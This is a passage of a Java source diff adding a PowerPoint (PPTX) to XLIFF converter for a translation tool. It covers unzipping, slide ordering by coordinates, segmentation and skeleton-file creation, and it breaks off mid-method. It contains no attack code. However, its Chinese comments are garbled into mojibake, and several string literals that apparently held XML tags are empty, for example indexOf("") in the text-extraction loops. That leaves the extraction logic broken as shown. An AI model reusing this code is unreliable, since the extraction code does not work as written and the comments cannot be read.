net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.eclipse.jface.preference.IPreferenceStore; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * PPTX 转æ¢ä¸º XLIFF + * @author peason + * @version + * @since JDK1.6 + */ +public class PPTX2XLIFF implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(PPTX2XLIFF.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "pptx"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("pptx.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "MS Office PowerPoint 2007 to XLIFF Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + PPTX2XLIFFImpl impl = new PPTX2XLIFFImpl(); + return impl.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * PPTX 转æ¢ä¸º XLIFF 的实现类 + * @author peason + * @version + * @since JDK1.6 + */ + class PPTX2XLIFFImpl { + + /** SlideMaster 文件中 a çš„å‰ç¼€ */ + private static final String PREFIX_A = "a"; + + /** SlideMaster 文件中 a 的命å空间 */ + private static final String NAMESPACE_A = "http://schemas.openxmlformats.org/drawingml/2006/main"; + + /** SlideMaster 文件中 p çš„å‰ç¼€ */ + private static final String PREFIX_P = "p"; + + /** SlideMaster 文件中 a 的命å空间 */ + private static final String NAMESPACE_P = "http://schemas.openxmlformats.org/presentationml/2006/main"; + + /** æºæ–‡ä»¶è·¯å¾„ */ + private String strSrcPath; + + /** 骨架文件路径 */ + private String strSklPath; + + /** XLIFF 文件路径 */ + private String strXLIFFPath; + + private boolean blnIsSuite; + + private String strQtToolID; + + /** æºè¯­è¨€ */ + private String strSrcLang; + + /** 目标语言 */ + private String strTgtLang; + + /** Catalogue 路径 */ + private String strCatalogue; + + /** 分段规则文件路径 */ + private String strSrx; + + /** ç¼–ç  */ + private String strSrcEncoding; + + private boolean blnSegByElement; + + private StringSegmenter segmenter; + + /** ç”Ÿæˆ XLIFF æ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream out; + + /** 生æˆéª¨æž¶æ–‡ä»¶çš„è¾“å‡ºæµ */ + private ZipOutputStream zipSklOut; + + private FileManager fileManager = new FileManager(); + + /** 临时解压目录(将æºæ–‡ä»¶å…ˆè§£åŽ‹åˆ°æ­¤ç›®å½•ï¼‰ */ + private String strTmpFolderPath; + + /** 文本段 ID 值 */ + private int segNum = 0; + + /** key 为 slideMasterN.xml 文件å,value 中第一个值为 ph 节点的 type 属性值,第二个为横å标,第三个为纵åæ ‡ */ + private HashMap> mapSldMasterPH = new HashMap>(); + + /** key 为 slideLayoutN.xml 文件å,value 中第一个值为 ph 节点的 type 属性值,第二个为横å标,第三个为纵åæ ‡ */ + private HashMap> mapSldLayoutPH = new HashMap>(); + + /** key 为 slideMasterN.xml 文件å,value 为 slideLayoutN.xml 文件å */ + private HashMap> mapLayout = new HashMap>(); + + /** slide 文件å集åˆï¼Œå·²æŒ‰å®žé™…显示的顺åºæŽ’åº */ + private ArrayList lstSlide = new ArrayList(); + + /** 是å¦èƒå–备注内容,此属性在首选项中设置(备注中的页眉页脚ä¸å—æ­¤å˜é‡æŽ§åˆ¶ï¼‰ */ + private boolean blnIsFilterNote; + + /** + * 转æ¢å™¨çš„处ç†æµç¨‹å¦‚下:
    + * 1. 解压æºæ–‡ä»¶åˆ°ä¸´æ—¶ç›®å½•
    + * 2. 创建骨架文件压缩包,并将除 ppt/notesSlides 和 ppt/slides 文件夹外的其他文件放入压缩包
    + * 3. è§£æž ppt/slideMasters 下的 slideMasterN.xml 文件(如果存在的è¯ï¼‰ï¼ŒæŸ¥æ‰¾ ph ä¸æ˜¯ dt å’Œ sldNum 的节点,å–出其 type, idx 属性值和å标值
    + * (key 为 slideMasterN.xml 文件å,value 为 type, idx 属性值和å标值的集åˆ)
    + * 4. è§£æž ppt/slideMasters/_rels 下的 rels 文件,å–出其包å«çš„ slideLayoutN.xml 文件å(key 为 slideMasterN.xml 文件å,
    + * value 为 slideLayoutN.xml 文件å)
    + * 5. è§£æž ppt/presentation.xml 文件和 ppt/_rels/presentation.xml.rels 文件,确定 slideN.xml 文件的顺åºã€‚
    + * 6. 按顺åºè§£æž slideN.xml.rels 文件,å–出 slideLayoutN.xml å’Œ noteSlideN.xml 文件å,然åŽè§£æžå¯¹åº”çš„ slideN.xml 文件,
    + * 并放入骨架信æ¯ï¼Œæ¯è§£æžå®Œä¸€ä¸ª slideN.xml 文件åŽå°±åŽ» _rels 查找相应的 rels 文件并解æžï¼Œä»Žä¸­ç¡®å®šå¯¹åº”çš„ noteSlideN.xml 文件
    + * 7. 解æžç¬¬ 6 步确定的 noteSlideN.xml 文件,查找 ph çš„ type 属性值为 body, hdr, ftr 的节点,从中å–出文本信æ¯
    + * 8. é‡å¤ 6, 7 æ­¥
    + * 9. 删除临时目录
    + * @param args + * @param monitor + * @return + * @throws ConverterException + * ; + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + Map result = new HashMap(); + monitor = Progress.getMonitor(monitor); + monitor.beginTask("", 13); + // 转æ¢è¿‡ç¨‹åˆ†ä¸º 13 部分,releaseSrcZip å  1,createZip å  1,parseSlideMaster å  2,parseSlideMasterRels å  + // 2,getSlideAndSort å  1, + // parseSlideBySort å  5,deleteFileOrFolder å  1 + IProgressMonitor firstMonitor = Progress.getSubMonitor(monitor, 1); + firstMonitor.beginTask(Messages.getString("pptx.PPTX2XLIFF.task1"), 1); + firstMonitor.subTask(""); + IPreferenceStore store = Activator.getDefault().getPreferenceStore(); + blnIsFilterNote = store.getBoolean(Constants.PPTX_FILTER); + strSrcPath = args.get(Converter.ATTR_SOURCE_FILE); + strXLIFFPath = args.get(Converter.ATTR_XLIFF_FILE); + strSklPath = args.get(Converter.ATTR_SKELETON_FILE); + blnIsSuite = Converter.TRUE.equals(args.get(Converter.ATTR_IS_SUITE)); + strQtToolID = args.get(Converter.ATTR_QT_TOOLID) != null ? args.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + strSrcLang = args.get(Converter.ATTR_SOURCE_LANGUAGE); + strTgtLang = args.get(Converter.ATTR_TARGET_LANGUAGE); + strCatalogue = args.get(Converter.ATTR_CATALOGUE); + String elementSegmentation = args.get(Converter.ATTR_SEG_BY_ELEMENT); + strSrx = args.get(Converter.ATTR_SRX); + strSrcEncoding = args.get(Converter.ATTR_SOURCE_ENCODING); + if (elementSegmentation == null) { + blnSegByElement = false; + } else { + blnSegByElement = elementSegmentation.equals(Converter.TRUE); + } + + try { + out = new FileOutputStream(strXLIFFPath); + zipSklOut = new ZipOutputStream(new FileOutputStream(strSklPath)); + writeHeader(); + if (!blnSegByElement) { + segmenter = new StringSegmenter(strSrx, strSrcLang, strCatalogue); + } + + if (firstMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + // 第 1 æ­¥ + releaseSrcZip(strSrcPath); + + firstMonitor.worked(1); + firstMonitor.done(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + IProgressMonitor secondMonitor = Progress.getSubMonitor(monitor, 1); + secondMonitor.beginTask(Messages.getString("pptx.PPTX2XLIFF.task2"), 1); + secondMonitor.subTask(""); + + List lstExcludeFolder = new ArrayList(); + lstExcludeFolder.add(strTmpFolderPath + File.separator + "ppt" + File.separator + "notesSlides"); + lstExcludeFolder.add(strTmpFolderPath + File.separator + "ppt" + File.separator + "slides"); + // 第 2 æ­¥ + fileManager.createZip(strTmpFolderPath, zipSklOut, lstExcludeFolder); + + File notesSlideRelsDic = new File(strTmpFolderPath + File.separator + "ppt" + File.separator + + "notesSlides" + File.separator + "_rels"); + if (notesSlideRelsDic.isDirectory()) { + for (File notesSlideRelsFile : notesSlideRelsDic.listFiles()) { + if (notesSlideRelsFile.isFile()) { + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, notesSlideRelsFile.getAbsolutePath()); + } + } + } + File slideRelsDic = new File(strTmpFolderPath + File.separator + "ppt" + File.separator + "slides" + + File.separator + "_rels"); + if (slideRelsDic.isDirectory()) { + for (File slideRelsFile : slideRelsDic.listFiles()) { + if (slideRelsFile.isFile()) { + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, slideRelsFile.getAbsolutePath()); + } + } + } + + secondMonitor.worked(1); + secondMonitor.done(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + // 第 3 æ­¥ + parseSlideMaster(Progress.getSubMonitor(monitor, 2)); + parseSlideLayout(); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + // 第 4 æ­¥ + parseSlideMasterRels(Progress.getSubMonitor(monitor, 2)); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + // 第 5 æ­¥ + getSlideAndSort(Progress.getSubMonitor(monitor, 1)); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + // 第 6, 7 æ­¥ + parseSlideBySort(Progress.getSubMonitor(monitor, 5)); + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + + writeOut("\n
    \n
    "); + out.close(); + zipSklOut.flush(); + zipSklOut.close(); + + IProgressMonitor thirdMonitor = Progress.getSubMonitor(monitor, 1); + thirdMonitor.beginTask(Messages.getString("pptx.PPTX2XLIFF.task3"), 1); + thirdMonitor.subTask(""); + // 第 9 æ­¥ + fileManager.deleteFileOrFolder(new File(strTmpFolderPath)); + thirdMonitor.worked(1); + thirdMonitor.done(); + result.put(Converter.ATTR_XLIFF_FILE, strXLIFFPath); + } catch (Exception e) { + e.printStackTrace(); + LOGGER.error(Messages.getString("pptx.PPTX2XLIFF.logger1"), e); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("pptx.PPTX2XLIFF.msg1"), + e); + } finally { + monitor.done(); + } + + return result; + } + + /** + * è§£æž ppt/slideMasters/_rels 目录下的 rels 文件,确定 slideMasterN.xml 与 slideLayoutN.xml 的对应关系 + * @throws XPathParseException + * @throws XPathEvalException + * @throws NavException + * ; + */ + private void parseSlideMasterRels(IProgressMonitor monitor) throws XPathParseException, XPathEvalException, + NavException { + File relsFile = new File(strTmpFolderPath + File.separator + "ppt" + File.separator + "slideMasters" + + File.separator + "_rels"); + if (relsFile.isDirectory()) { + File[] arrRelFile = relsFile.listFiles(); + monitor.beginTask("", arrRelFile.length); + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + VTDUtils vu = new VTDUtils(); + for (File relFile : arrRelFile) { + String name = relFile.getName(); + monitor.subTask(MessageFormat.format(Messages.getString("pptx.PPTX2XLIFF.task4"), name)); + if (relFile.isFile() && name.toLowerCase().endsWith(".rels")) { + if (vg.parseFile(relFile.getAbsolutePath(), true)) { + ArrayList lstLayout = new ArrayList(); + VTDNav vn = vg.getNav(); + ap.bind(vn); + vu.bind(vn); + ap.selectXPath("/Relationships/Relationship"); + while (ap.evalXPath() != -1) { + String strTarget = vu.getCurrentElementAttribut("Target", ""); + if (strTarget.indexOf("slideLayout") != -1) { + strTarget = strTarget.substring(strTarget.lastIndexOf("/") + 1); + lstLayout.add(strTarget); + } + } + mapLayout.put(name.substring(0, name.lastIndexOf(".")), lstLayout); + } + } + monitor.worked(1); + } + } + monitor.done(); + } + + /** + * è§£æž ppt/slideMasters 目录下的 slideMasterN.xml 文件,查找 ph 中 type ä¸æ˜¯ dt å’Œ sldNum 的节点,
    + * å–出其 type, idx 属性值和å标值,因为有的幻ç¯ç‰‡ä¸­èŠ‚点的å标是存放在此文件中的 + * @throws Exception + */ + private void parseSlideMaster(IProgressMonitor monitor) throws Exception { + File slideMasterDic = new File(strTmpFolderPath + File.separator + "ppt" + File.separator + "slideMasters"); + if (slideMasterDic.isDirectory()) { + VTDGen vg = new VTDGen(); + VTDUtils vu = new VTDUtils(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(PREFIX_A, NAMESPACE_A); + ap.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + File[] arrSlideMasterFile = slideMasterDic.listFiles(); + monitor.beginTask("", arrSlideMasterFile.length); + for (File slideMasterFile : arrSlideMasterFile) { + if (monitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("preference.cancel")); + } + monitor.subTask(MessageFormat.format(Messages.getString("pptx.PPTX2XLIFF.task4"), + slideMasterFile.getName())); + if (slideMasterFile.isFile() && slideMasterFile.getName().toLowerCase().endsWith(".xml")) { + if (vg.parseFile(slideMasterFile.getAbsolutePath(), true)) { + String name = slideMasterFile.getName(); + VTDNav vn = vg.getNav(); + vu.bind(vn); + ap.bind(vn); + ap.selectXPath("/p:sldMaster/p:cSld/p:spTree//p:sp[descendant::p:ph[not(@type='dt') and not(@type='sldNum')]]"); + ArrayList lstFld = new ArrayList(); + while (ap.evalXPath() != -1) { + String strType = vu.getElementAttribute(".//p:ph", "type"); + String idx = vu.getElementAttribute(".//p:ph", "idx"); + if (strType == null && idx == null) { + continue; + } + + String strX = vu.getElementAttribute(".//a:xfrm/a:off", "x"); + String strY = vu.getElementAttribute(".//a:xfrm/a:off", "y"); + if (strX != null && strY != null) { + lstFld.add(new String[] { strType, idx, strX, strY }); + } + } + if (lstFld.size() > 0) { + mapSldMasterPH.put(name, lstFld); + } + } + } + monitor.worked(1); + } + } + monitor.done(); + } + + /** + * èŽ·å– ppt/slides 目录下的 slideN.xml æ–‡ä»¶å¹¶æŽ’åº ; + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + */ + private void getSlideAndSort(IProgressMonitor monitor) throws NavException, XPathParseException, + XPathEvalException { + monitor.beginTask(Messages.getString("pptx.PPTX2XLIFF.task5"), 2); + monitor.subTask(""); + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + VTDUtils vu = new VTDUtils(); + ArrayList lstRId = new ArrayList(); + if (vg.parseFile(strTmpFolderPath + File.separator + "ppt" + File.separator + "presentation.xml", true)) { + VTDNav vn = vg.getNav(); + ap.bind(vn); + vu.bind(vn); + ap.selectXPath("/p:presentation/p:sldIdLst/p:sldId"); + while (ap.evalXPath() != -1) { + String strRid = vu.getCurrentElementAttribut("r:id", null); + if (strRid != null) { + lstRId.add(strRid); + } + } + } + monitor.worked(1); + if (lstRId.size() > 0) { + if (vg.parseFile(strTmpFolderPath + File.separator + "ppt" + File.separator + "_rels" + File.separator + + "presentation.xml.rels", true)) { + VTDNav vn = vg.getNav(); + ap.bind(vn); + vu.bind(vn); + StringBuffer sbCondition = new StringBuffer(); + for (int i = 0; i < lstRId.size(); i++) { + if (i == 0) { + sbCondition.append("Relationship[@Id='" + lstRId.get(i) + "']"); + } else { + sbCondition.append("|Relationship[@Id='" + lstRId.get(i) + "']"); + } + } + ap.selectXPath("/Relationships/" + sbCondition.toString() + ""); + while (ap.evalXPath() != -1) { + String strSlidePath = vu.getCurrentElementAttribut("Target", null); + if (strSlidePath != null) { + lstSlide.add(strSlidePath.substring(strSlidePath.lastIndexOf("/") + 1)); + } + } + } + } + monitor.worked(1); + monitor.done(); + } + + /** + * è§£æž slideLayoutN.xml 文件,获å–å标值,因为有的幻ç¯ç‰‡ä¸­èŠ‚点的å标是存放在此文件中的 + * @throws NavException + * @throws XPathParseException + * @throws XPathEvalException + */ + private void parseSlideLayout() throws NavException, XPathParseException, XPathEvalException { + File slideLayoutDic = new File(strTmpFolderPath + File.separator + "ppt" + File.separator + "slideLayouts"); + if (slideLayoutDic.isDirectory()) { + VTDGen vg = new VTDGen(); + AutoPilot ap = new AutoPilot(); + ap.declareXPathNameSpace(PREFIX_A, NAMESPACE_A); + ap.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + VTDUtils vu = new VTDUtils(); + File[] arrSlideLayoutFile = slideLayoutDic.listFiles(); + for (File slideLayoutFile : arrSlideLayoutFile) { + if (slideLayoutFile.isFile() && slideLayoutFile.getName().toLowerCase().endsWith(".xml")) { + if (vg.parseFile(slideLayoutFile.getAbsolutePath(), true)) { + String name = slideLayoutFile.getName(); + VTDNav vn = vg.getNav(); + ap.bind(vn); + vu.bind(vn); + ap.selectXPath("/p:sldLayout/p:cSld/p:spTree//p:sp[descendant::p:ph[not(@type='dt') and not(@type='sldNum')]]"); + ArrayList lstPH = new ArrayList(); + while (ap.evalXPath() != -1) { + String strType = vu.getElementAttribute(".//p:ph", "type"); + String idx = vu.getElementAttribute(".//p:ph", "idx"); + if (strType == null && idx == null) { + continue; + } + + String strX = vu.getElementAttribute(".//a:xfrm/a:off", "x"); + String strY = vu.getElementAttribute(".//a:xfrm/a:off", "y"); + if (strX != null && strY != null) { + lstPH.add(new String[] { strType, idx, strX, strY }); + } + } + if (lstPH.size() > 0) { + mapSldLayoutPH.put(name, lstPH); + } + } + } + } + } + } + + private void parseSlideBySort(IProgressMonitor monitor) throws Exception { + monitor.beginTask(Messages.getString("pptx.PPTX2XLIFF.task6"), lstSlide.size()); + monitor.subTask(""); + VTDGen vg = new VTDGen(); + AutoPilot apRels = new AutoPilot(); + AutoPilot apSlide = new AutoPilot(); + apSlide.declareXPathNameSpace(PREFIX_A, NAMESPACE_A); + apSlide.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + AutoPilot apParent = new AutoPilot(); + apParent.declareXPathNameSpace(PREFIX_A, NAMESPACE_A); + apParent.declareXPathNameSpace(PREFIX_P, NAMESPACE_P); + VTDUtils vu = new VTDUtils(); + StringBuffer sbContent = new StringBuffer(); + XMLModifier xm = new XMLModifier(); + boolean isUpdate = false; + for (final String slideName : lstSlide) { + isUpdate = false; + String strSlideLayout = null; + String strNotesSlide = null; + // 先解æžå¯¹åº”çš„ rels 文件 + if (vg.parseFile(strTmpFolderPath + File.separator + "ppt" + File.separator + "slides" + File.separator + + "_rels" + File.separator + slideName + ".rels", true)) { + VTDNav vn = vg.getNav(); + apRels.bind(vn); + vu.bind(vn); + apRels.selectXPath("/Relationships/Relationship"); + while (apRels.evalXPath() != -1) { + String strTarget = vu.getCurrentElementAttribut("Target", null); + if (strTarget != null) { + if (strSlideLayout == null && strTarget.indexOf("slideLayout") != -1) { + strSlideLayout = strTarget.substring(strTarget.lastIndexOf("/") + 1); + } + if (strNotesSlide == null && strTarget.indexOf("notesSlide") != -1) { + strNotesSlide = strTarget.substring(strTarget.lastIndexOf("/") + 1); + } + } + if (strSlideLayout != null && strNotesSlide != null) { + break; + } + } + } + final String slideLayoutName = strSlideLayout; + String strSlideMaster = null; + if (strSlideLayout != null && mapLayout.size() > 0) { + Iterator>> it = mapLayout.entrySet().iterator(); + while (it.hasNext()) { + Entry> entry = (Entry>) it.next(); + ArrayList lstLayout = entry.getValue(); + if (lstLayout.contains(strSlideLayout)) { + strSlideMaster = entry.getKey(); + } + } + } + final String slideMasterName = strSlideMaster; + // è§£æž slideN.xml 文件 + vg.clear(); + String strSlideFilePath = strTmpFolderPath + File.separator + "ppt" + File.separator + "slides" + + File.separator + slideName; + if (vg.parseFile(strSlideFilePath, true)) { + ArrayList lstCoordinate = new ArrayList(); + VTDNav vn = vg.getNav(); + apSlide.bind(vn); + vu.bind(vn); + xm.bind(vn); + apParent.bind(vn); + apSlide.selectXPath("/p:sld/p:cSld/p:spTree//p:sp[descendant::node()[name()='a:t']] " + + "| /p:sld/p:cSld/p:spTree//p:graphicFrame[descendant::node()[name()='a:t']]"); + // 标记是å¦æœ‰å标值 + boolean isContainOff = true; + while (apSlide.evalXPath() != -1) { + String strX = vu.getElementAttribute(".//p:xfrm/a:off | .//a:xfrm/a:off", "x"); + String strY = vu.getElementAttribute(".//p:xfrm/a:off | .//a:xfrm/a:off", "y"); + String strType = vu.getElementAttribute(".//p:ph", "type"); + String strIdx = vu.getElementAttribute(".//p:ph", "idx"); + String name = vu.getCurrentElementName(); + vn.push(); + String parentX = null; + String parentY = null; + if (name.equals("p:sp")) { + // 如果 p:sp 的父节点为 p:grpSp,则è¦å°† p:grpSp/p:grpSpPr/a:xfrm/a:off çš„ x,y 值å–出,因为 p:grpSpPr + // çš„å标是相对整个幻ç¯ç‰‡çš„å标,而 p:sp çš„å标则是相对 p:grpSpPr 的。 + apParent.selectXPath("parent::node()[name()='p:grpSp']"); + if (apParent.evalXPath() != -1) { + parentX = vu.getElementAttribute("./p:grpSpPr/a:xfrm/a:off", "x"); + parentY = vu.getElementAttribute("./p:grpSpPr/a:xfrm/a:off", "y"); + } + } + vn.pop(); + if (strX == null && strY == null) { + // ph 节点无åæ ‡ + if (strType != null) { + if (!strType.equals("dt") && !strType.equals("sldNum")) { + isContainOff = false; + } + } else { + isContainOff = false; + } + } + if ((strType == null || (!strType.equals("dt") && !strType.equals("sldNum")))) { + lstCoordinate.add(new String[] { strType, strIdx, strX, strY, parentX, parentY }); + } + } + removeDuplicateWithOrder(lstCoordinate); + if (isContainOff) { + Collections.sort(lstCoordinate, new Comparator() { + public int compare(String[] o1, String[] o2) { + int x1 = Integer.parseInt(o1[2]); + int y1 = Integer.parseInt(o1[3]); + int parentX1 = 0; + int parentY1 = 0; + int parentX2 = 0; + int parentY2 = 0; + if (o1[4] != null) { + parentX1 = Integer.parseInt(o1[4]); + } + if (o1[5] != null) { + parentY1 = Integer.parseInt(o1[5]); + } + int x2 = Integer.parseInt(o2[2]); + int y2 = Integer.parseInt(o2[3]); + if (o2[4] != null) { + parentX2 = Integer.parseInt(o2[4]); + } + if (o2[5] != null) { + parentY2 = Integer.parseInt(o2[5]); + } + if (o1[4] != null && o1[5] != null && o2[4] != null && o2[5] != null) { + if (parentY1 != parentY2) { + return parentY1 - parentY2; + } else if (parentX1 != parentX2) { + return parentX1 - parentX2; + } else { + if (y1 != y2) { + return y1 - y2; + } else { + return x1 - x2; + } + } + } else if (o1[4] != null && o1[5] != null) { + if (parentY1 != y2) { + return parentY1 - y2; + } else { + return parentX1 - x2; + } + } else if (o2[4] != null && o2[5] != null) { + if (y1 != parentY2) { + return y1 - parentY2; + } else { + return x1 - parentX2; + } + } else { + if (y1 != y2) { + return y1 - y2; + } else { + return x1 - x2; + } + } + } + }); + } else { + Collections.sort(lstCoordinate, new Comparator() { + public int compare(String[] o1, String[] o2) { + int x1 = o1[2] == null ? 0 : Integer.parseInt(o1[2]); + int y1 = o1[3] == null ? 0 : Integer.parseInt(o1[3]); + int x2 = o2[2] == null ? 0 : Integer.parseInt(o2[2]); + int y2 = o2[3] == null ? 0 : Integer.parseInt(o2[3]); + ArrayList lstLayoutPH = mapSldLayoutPH.get(slideLayoutName); + if (lstLayoutPH == null || lstLayoutPH.size() == 0) { + lstLayoutPH = mapSldMasterPH.get(slideMasterName); + } + if (o1[0] != null && o1[0].equals("ftr")) { + y1 = Integer.MAX_VALUE; + } else { + if (lstLayoutPH != null) { + for (String[] arrLayoutPH : lstLayoutPH) { + if (o1[0] != null && arrLayoutPH[0] != null && arrLayoutPH[0].equals(o1[0])) { + x1 = Integer.parseInt(arrLayoutPH[2]); + y1 = Integer.parseInt(arrLayoutPH[3]); + break; + } else if (o1[1] != null && arrLayoutPH[1] != null + && arrLayoutPH[1].equals(o1[1])) { + x1 = Integer.parseInt(arrLayoutPH[2]); + y1 = Integer.parseInt(arrLayoutPH[3]); + break; + } + } + } + } + if (o2[0] != null && o2[0].equals("ftr")) { + y2 = Integer.MAX_VALUE; + } else { + if (lstLayoutPH != null) { + for (String[] arrLayoutPH : lstLayoutPH) { + if (o2[0] != null && arrLayoutPH[0] != null && arrLayoutPH[0].equals(o2[0])) { + x2 = Integer.parseInt(arrLayoutPH[2]); + y2 = Integer.parseInt(arrLayoutPH[3]); + break; + } else if (o2[1] != null && arrLayoutPH[1] != null + && arrLayoutPH[1].equals(o2[1])) { + x2 = Integer.parseInt(arrLayoutPH[2]); + y2 = Integer.parseInt(arrLayoutPH[3]); + break; + } + } + } + } + if (y1 != y2) { + return y1 - y2; + } else { + return x1 - x2; + } + } + }); + } + for (String[] arrCoordinate : lstCoordinate) { + StringBuffer sbCondition = new StringBuffer("[descendant::node()[name()='a:t']"); + if (arrCoordinate[0] != null && arrCoordinate[1] != null) { + sbCondition.append(" and descendant::node()[name()='p:ph' and @type='" + arrCoordinate[0] + + "' and @idx='" + arrCoordinate[1] + "']"); + } else if (arrCoordinate[0] != null) { + sbCondition.append(" and descendant::node()[name()='p:ph' and @type='" + arrCoordinate[0] + + "']"); + } else if (arrCoordinate[1] != null) { + sbCondition.append(" and descendant::node()[name()='p:ph' and @idx='" + arrCoordinate[1] + + "']"); + } + + if (arrCoordinate[2] != null && arrCoordinate[3] != null) { + sbCondition.append(" and descendant::node()[name()='a:off' and @x='" + arrCoordinate[2] + + "' and @y='" + arrCoordinate[3] + "']"); + } + if (arrCoordinate[4] != null && arrCoordinate[5] != null) { + // p:sp 的父节点为 p:grpSp,判断 p:grpSp/p:grpSpPr/a:xfrm/a:off çš„ x,y 值, p:sp 与 p:grpSp 是åŒèƒž + sbCondition + .append(" and parent::node()[name()='p:grpSp'] and (preceding-sibling::node()[name()='p:grpSpPr' and a:xfrm/a:off[@x='" + + arrCoordinate[4] + + "' and @y='" + + arrCoordinate[5] + + "']] or following-sibling::node()[name()='p:grpSpPr' and a:xfrm/a:off[@x='" + + arrCoordinate[4] + "' and @y='" + arrCoordinate[5] + "']])"); + } + sbCondition.append("]"); + String xpath = "/p:sld/p:cSld/p:spTree//p:sp" + sbCondition + "/p:txBody/a:p " + + "| /p:sld/p:cSld/p:spTree//p:graphicFrame" + sbCondition + "//a:txBody/a:p"; + apSlide.selectXPath(xpath); + while (apSlide.evalXPath() != -1) { + sbContent.delete(0, sbContent.length()); + String strFragment = vu.getElementFragment(); + if (strFragment.indexOf("") == -1) { + continue; + } + String strText = strFragment.substring(strFragment.indexOf("") + "".length(), + strFragment.lastIndexOf("")); + sbContent.append(strFragment.substring(0, strFragment.indexOf("") + "".length())) + .append(strFragment.substring(strFragment.lastIndexOf(""))); + if (blnSegByElement) { + writeSegment(strText); + sbContent.insert(sbContent.lastIndexOf(""), "%%%" + segNum++ + "%%%"); + } else { + String[] segs = segmenter.segment(strText); + for (int h = 0; h < segs.length; h++) { + String seg = segs[h]; + writeSegment(seg); + sbContent.insert(sbContent.lastIndexOf(""), "%%%" + segNum++ + "%%%"); + } + } + xm.remove(vn.getElementFragment()); + xm.insertAfterElement(sbContent.toString().getBytes()); + isUpdate = true; + } + } + if (isUpdate) { + xm.output(strSlideFilePath + ".skl"); + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strSlideFilePath + ".skl"); + isUpdate = false; + } else { + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strSlideFilePath); + } + } + if (strNotesSlide != null) { + String strNotesSlidePath = strTmpFolderPath + File.separator + "ppt" + File.separator + + "notesSlides" + File.separator + strNotesSlide; + if (vg.parseFile(strNotesSlidePath, true)) { + VTDNav vn = vg.getNav(); + apSlide.bind(vn); + vu.bind(vn); + xm.bind(vn); + StringBuffer sbXpath = new StringBuffer(); + // notesSlideN.xml 文件中按照 type 为 body, hdr, ftr 的顺åºæŸ¥æ‰¾ï¼Œå¦‚果过滤备注文本,则是按照 type 为 hdr, ftr 的顺åºæŸ¥æ‰¾ã€‚ + if (!blnIsFilterNote) { + sbXpath.append("/p:notes/p:cSld/p:spTree/p:sp[p:nvSpPr/p:nvPr/p:ph[@type='body']] | "); + } + sbXpath.append("/p:notes/p:cSld/p:spTree/p:sp[p:nvSpPr/p:nvPr/p:ph[@type='hdr']] | /p:notes/p:cSld/p:spTree/p:sp[p:nvSpPr/p:nvPr/p:ph[@type='ftr']]"); + apSlide.selectXPath(sbXpath.toString()); + + while (apSlide.evalXPath() != -1) { + sbContent.delete(0, sbContent.length()); + String strFragment = vu.getElementFragment(); + if (strFragment.indexOf("") == -1) { + continue; + } + String strText = strFragment.substring(strFragment.indexOf("") + "".length(), + strFragment.lastIndexOf("")); + sbContent.append(strFragment.substring(0, strFragment.indexOf("") + "".length())) + .append(strFragment.substring(strFragment.lastIndexOf(""))); + if (blnSegByElement) { + writeSegment(strText); + sbContent.insert(sbContent.lastIndexOf(""), "%%%" + segNum++ + "%%%"); + } else { + String[] segs = segmenter.segment(strText); + for (int h = 0; h < segs.length; h++) { + String seg = segs[h]; + writeSegment(seg); + sbContent.insert(sbContent.lastIndexOf(""), "%%%" + segNum++ + "%%%"); + } + } + xm.remove(vn.getElementFragment()); + xm.insertAfterElement(sbContent.toString().getBytes()); + isUpdate = true; + } + + if (isUpdate) { + xm.output(strNotesSlidePath + ".skl"); + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strNotesSlidePath + ".skl"); + isUpdate = false; + } else { + fileManager.addFileToZip(zipSklOut, strTmpFolderPath, strNotesSlidePath); + } + } + } + monitor.worked(1); + } + monitor.done(); + } + + /** + * 移除 list 中的é‡å¤æ•°æ® + * @param list + * ; + */ + public void removeDuplicateWithOrder(List list) { + for (int i = 0; i < list.size() - 1; i++) { + for (int j = list.size() - 1; j > i; j--) { + String[] arr1 = 